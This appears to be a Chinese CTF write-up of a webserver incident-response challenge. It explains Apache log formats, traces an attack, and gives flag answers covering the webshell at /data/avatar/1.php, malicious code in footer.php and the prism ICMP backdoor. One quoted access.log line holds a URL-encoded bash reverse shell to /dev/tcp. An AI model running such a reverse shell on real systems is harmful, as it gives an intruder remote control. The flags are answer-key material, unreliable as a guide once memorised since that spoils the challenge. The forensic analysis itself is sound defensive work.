记一次某网络安全比赛三阶段webserver应急响应解题过程

0X01 任务说明

0X02 靶机介绍

Webserver(Web服务器)是一种软件或硬件设备,用于接收、处理并响应来自客户端(如浏览器)的HTTP请求,提供网页、图片、视频等静态或动态内容,是互联网基础设施的核心组件之一,其主要功能包括处理HTTP请求(接收客户端如浏览器发送的GET、POST等请求)、生成响应(根据请求内容返回对应资源如HTML页面、JSON数据)、管理静态文件(直接提供图片、CSS、JavaScript等静态资源)、与后端服务协作(通过API或脚本语言如PHP、Python与后端应用交互生成动态内容)以及支持安全协议(如HTTPS加密传输)、负载均衡(分发请求到多个服务器)和日志记录(记录访问信息用于分析和审计)等,常见的Web服务器软件包括Apache HTTP Server、Nginx、Microsoft IIS、Lighttpd等,它们在性能、功能、配置复杂度等方面各有特点,广泛应用于网站托管、应用服务、API网关等场景。

0X03 涉及知识

  1. access.log:
    位置:通常位于 /var/log/apache2/ 或 /var/log/httpd/ 目录下。
    作用:记录对服务器的每个HTTP请求的详细信息,包括访问时间、请求方法、URL、客户端IP等。
    格式:日志格式可以在配置文件中自定义,但通常包括客户端IP、用户标识符、用户名称、日期、请求
    方法:请求的URL、HTTP协议版本、响应状态码、响应大小等信息。
  2. error.log:
    位置:通常位于 /var/log/apache2/ 或 /var/log/httpd/ 目录下。
    作用:记录Apache服务器的错误和警告消息,用于故障排除和问题诊断。
    格式:通常包含错误消息、时间戳和错误级别。
  3. other_vhosts_access.log(虚拟主机访问日志):
    位置:通常位于虚拟主机配置中指定的位置。
    作用:记录虚拟主机的HTTP请求,与 access.log 类似,但仅针对特定虚拟主机。
    格式:与 access.log 相同。
    access.log日志格式

access.log 文件的格式是可配置的,通常使用常见的日志格式,包括以下字段:

  1. 客户端IP地址:发出请求的客户端的IP地址。
  2. 客户端标识符(标识客户端身份的用户或代理):通常为空。
  3. 用户名(如果启用了HTTP身份验证,记录请求的用户名称):通常为空。
  4. 记录时间:请求被记录的时间。
  5. 请求方法:HTTP请求方法(例如,GET、POST)。
  6. 请求的URL:被请求的资源的URL。
  7. HTTP协议版本:请求使用的HTTP协议版本。
  8. 服务器响应状态码:服务器对请求的响应状态码(例如,200表示成功,404表示未找到,500表示服务器错误)。
  9. 响应大小:服务器响应的大小(以字节为单位)。
  10. 引用来源:如果有的话,表示从哪个页面链接访问的。
  11. 用户代理:发出请求的用户代理信息,通常包含浏览器类型和版本等。
复制代码
例:
192.168.1.7 - - [24/Apr/2022:15:27:32 +0000] "GET /data/avatar/1.php?
2022=bash%20-i%20%3E&%20/dev/tcp/192.168.1.7/1234%200%3E&1 HTTP/1.1" 200
242 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0"
1.客户端IP地址:192.168.1.7
2.客户端标识符: -
3.用户名: -
4.记录时间:[24/Apr/2022:15:27:32 +0000]
5.请求方法:GET
6.请求的URL:/data/avatar/1.php?2022=bash%20-
i%20%3E&%20/dev/tcp/192.168.1.7/1234%200%3E&1
7.HTTP协议版本:HTTP/1.1
8.服务器响应状态码:200
9.响应大小:242
10.引用来源(Referer):"-"
11.用户代理:"Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0"

error.log日志格式

Sun Apr 24 15:17:51.546416 2022\] \[:error\] \[pid 77910\] \[client 192.168.1.7:53328\] script '/var/www/html/phpfm.php' not found or unable to stat 1. `[Sun Apr 24 15:17:51.546416 2022]`:表示错误发生的日期和时间,以及微秒级别的时间戳。这告诉您错误发生在2022年4月24日15:17:51.546416。这个时间戳通常以世界协调时(UTC)格式表示。 2. `[:error]`:指示错误的级别。在这里,级别是错误(error),这是Apache日志中的一种标准级别,表示发生了一个错误事件。 3. `[pid 77910]`:指示与错误相关的进程ID(PID)。在这里,PID是77910。这个信息对于跟踪特定请求的错误非常有用。 4. `[client 192.168.1.7:53328]`:指示客户端的IP地址和端口号。在这里,客户端的IP地址是192.168.1.7,而连接的端口号是53328。这有助于确定引发错误的客户端。 5. `script '/var/www/html/phpfm.php' not found or unable to stat`:这是错误消息的正文部分,提供了有关错误的详细信息。具体来说,它表示Apache服务器正在尝试查找名为`phpfm.php`的脚本文件,但未能找到它,或者由于某种原因无法对其进行状态检查(stat操作)。 这可能是因为文件不存在、权限问题或其他问题。

0X04 应急响应

1、提交攻击者的IP地址

首先,查看服务器所开放的端口,发现开放了80端口,并且运行的服务为apache2。

复制代码
#通过access.log.1日志文件内容,查看服务器的各种状态。
vim /var/log/apache2/access.log.1

可以看到IP为192.168.1.7的用户使用了DIRSEARCH扫描工具对网站目录进行了大量扫描,接着查看最后100行日志,在日志文件中发现漏洞利用的代码,这里通过文件上传漏洞,上传了1.php文件,并执行了id和whoami命令,最后反弹了shell。

flag{192.168.1.7}

2、识别攻击者使用的操作系统

flag{Linux x86_64}

3、找出攻击者资产收集所使用的平台

flag{shodan}

4、提交攻击者目录扫描所使用的工具名称

flag{DIRSEARCH}

5、提交黑客首次攻击成功的时间,格式:DD /MM/YY:HH:MM:SS

flag{24/Apr/2022:15:26:42}

6、找到攻击者写入的恶意后门文件,提交文件名(完整路径)和后门密码

结合网站根目录路径为/var/www/html,木马所在的网站目录为/data/avatar/1.php 并且连接密码为2022。

flag{/var/www/html/data/avatar/1.php 2022}

7、找到攻击者隐藏在正常web应用代码中的恶意代码,提交该文件名(完整路径)

复制代码
cd /var/www/html
#grep命令是Linux系统中一个非常重要且功能强大的文本搜索工具。
#以下命令用来检索网站根目录下包含一句话木马eval关键字的文件。
grep -r "eval"

flag{/var/www/html/footer.php}

8、识别系统中存在的恶意程序进程,提交进程名

python 复制代码
使用crontab -l 查看任务计划发现存在后门进程

flag{prism}

9、找到文件系统中的恶意程序文件并提交文件名(完整路径)

复制代码
#查看进程
ps -aux
#查看程序位置
lsof -p 981 (进程PID号)

flag{/root/.mal/prism}

10、简要描述该恶意文件的行为

python 复制代码
https://github.com/andreafabrizi/prism 项目地址

flag{ICMP后门执行远程攻击者的命令}

相关推荐
叶落阁主8 小时前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
用户962377954482 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机2 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机2 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954482 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star2 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954483 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher4 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行7 天前
网络安全总结
安全·web安全
red1giant_star7 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全